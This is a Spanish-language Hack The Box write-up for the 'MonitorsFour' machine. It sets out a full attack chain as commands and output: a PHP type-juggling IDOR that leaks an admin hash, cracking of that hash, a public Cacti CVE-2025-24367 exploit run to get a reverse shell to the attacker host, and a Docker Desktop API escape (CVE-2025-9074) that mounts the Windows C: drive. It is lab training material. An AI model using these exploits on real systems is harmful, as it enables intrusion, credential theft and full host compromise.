MonitorsFour WriteUp

Table of Contents

MonitorsFour WriteUp

MonitorsFour es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box. La cadena de ataque comienza explotando un endpoint con IDOR y comparación laxa de PHP para filtrar credenciales de administrador, continúa con ejecución remota de código en Cacti 1.2.28 mediante CVE-2025-24367 y concluye escapando del contenedor Docker abusando de la API del daemon expuesta sin autenticación en la subred interna de Docker Desktop (CVE-2025-9074).

🗺️ Cadena de Ataque

Reconocimiento → Puertos 80, 5985
      │
      ▼
Enumeración de subdominios → cacti.monitorsfour.htb
      │
      ▼
IDOR + PHP Type Juggling → /api/v1/user?token=0 → hash MD5 → marcus:wonderful1
      │
      ▼
CVE-2025-24367 → Cacti 1.2.28 RCE autenticado → www-data en contenedor Docker
      │
      ▼
user.txt → /home/marcus/user.txt
      │
      ▼
CVE-2025-9074 → Docker API en 192.168.65.7:2375 → contenedor con C:\ montado → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.38.79 monitorsfour.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1 — Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv monitorsfour.htb

Fase 2 — Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv monitorsfour.htb
PuertoServicioDetalle
80HTTPnginx — redirige a monitorsfour.htb
5985WinRMMicrosoft HTTPAPI 2.0 (host Windows)

💡 El puerto 5985 (WinRM) confirma que el host subyacente es Windows, aunque sirve contenedores Linux mediante Docker Desktop / WSL2.

Enumeración Web

El sitio principal http://monitorsfour.htb muestra una aplicación de monitorización. Enumeramos subdominios:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u "http://monitorsfour.htb" -H "Host: FUZZ.monitorsfour.htb" -fs 138
cacti   [Status: 302, Size: ...]

🎯 Encontramos cacti.monitorsfour.htb. Lo añadimos a /etc/hosts:

sudo sed -i 's/monitorsfour.htb/monitorsfour.htb cacti.monitorsfour.htb/' /etc/hosts

http://cacti.monitorsfour.htb expone una instancia de Cacti 1.2.28, visible en la propia página de login.

MonitorsFour WriteUp

💉 Acceso Inicial

IDOR + PHP Type Juggling en /api/v1/user

El endpoint /user acepta un parámetro token. Sin token devuelve:

{"error":"Missing token parameter"}

Con un token incorrecto devuelve:

{"error":"Invalid or missing token"}

El servidor valida el token con comparación laxa de PHP (==). Aprovechamos que PHP trata cualquier string no numérico como 0 en comparaciones débiles, lo que permite que token=0 supere la validación y exponga todos los usuarios:

curl -s "http://monitorsfour.htb/user?token=0"
{
  "id":2,
  "username":"admin",
  "email":"admin@monitorsfour.htb",
  "password":"56b32eb43e6f15395f6c46c1c9e1cd36",
  "role":"super user",
  "token":"8024b78f83f102da4f",
  "name":"Marcus Higgins",
  "position":"System Administrator",
  "dob":"1978-04-26",
  "start_date":"2021-01-12",
  "salary":"320800.00"
}

🔑 Hash MD5 recuperado: 56b32eb43e6f15395f6c46c1c9e1cd36

Crackeo del Hash

echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
wonderful1       (?)

🔑 Credenciales obtenidas: marcus:wonderful1

CVE-2025-24367 — RCE Autenticado en Cacti 1.2.28

🧠 Cacti ≤ 1.2.28 no sanea correctamente el campo de nombre en las plantillas de gráficos que se pasan a rrdtool. Un usuario autenticado puede inyectar comandos de sistema operativo a través de ese campo, obteniendo ejecución remota de código como el usuario que ejecuta el proceso web.

Clonamos el PoC público:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC

Preparamos el listener y lanzamos el exploit:

penelope -p 8443
python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.100 -l 8443
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: xD5uO.php
[+] Got payload: /bash
[i] Created PHP filename: T01Pt.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

Recibimos conexión:

www-data@821fbd6a43fa:~/html/cacti$ whoami && hostname
www-data
821fbd6a43fa

💡 El hostname 821fbd6a43fa confirma que estamos dentro de un contenedor Docker.

Flag de Usuario

cat /home/marcus/user.txt

🔺 Escalada de Privilegios

Enumeración del Contenedor

Comprobamos la red interna del contenedor:

cat /etc/resolv.conf
nameserver 127.0.0.11

💡 El DNS interno 127.0.0.11 es el resolvedor embebido de Docker. La subred de Docker Desktop suele usar el rango 192.168.65.0/24.

Escaneamos la subred de Docker Desktop en busca del daemon API:

for i in $(seq 1 10); do
  curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN"
done
192.168.65.7:2375 OPEN

🎯 La API del daemon de Docker está expuesta sin autenticación en 192.168.65.7:2375.

CVE-2025-9074 - Escape de Contenedor via Docker API

🧠 Docker Desktop ≤ 4.44.2 expone la API del engine en 192.168.65.7:2375 sin ningún mecanismo de autenticación. Cualquier contenedor que pueda alcanzar esa IP puede crear nuevos contenedores con el sistema de ficheros del host montado, obteniendo acceso total a C:\.

Listamos las imágenes disponibles para saber cuál usar:

curl -s http://192.168.65.7:2375/images/json | grep -o '"RepoTags":\[[^]]*\]'
"RepoTags":["docker_setup-nginx-php:latest"]
"RepoTags":["docker_setup-mariadb:latest"]
"RepoTags":["alpine:latest"]

Paso 1 — Preparamos el JSON de configuración del contenedor en nuestra máquina atacante. El bind /mnt/host/c:/mnt/host_root es la ruta con la que Docker Desktop en Windows expone C:\ al interior de los contenedores Linux mediante WSL2. El Cmd ejecuta directamente el comando al arrancar, lo que nos permite leer el resultado con /logs sin necesidad de exec:

cat > /tmp/container.json << 'EOF'
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/mnt/host_root"]
  },
  "Tty": true,
  "OpenStdin": true
}
EOF

python3 -m http.server 8000

Paso 2 — Desde la shell de www-data descargamos el JSON y creamos el contenedor:

curl http://<TU_IP>:8000/container.json -o /tmp/container.json

curl -X POST -H "Content-Type: application/json" \
  -d @/tmp/container.json \
  "http://192.168.65.7:2375/containers/create?name=pwned"
{"Id":"7d99df11ee0f9d29c093acb26f741bebda84e7d02c90097590c0791241075468","Warnings":[]}

Paso 3 — Iniciamos el contenedor:

curl -X POST "http://192.168.65.7:2375/containers/7d99df11ee0f/start"

Flag de Root

curl "http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true"

¡Nos vemos en la próxima!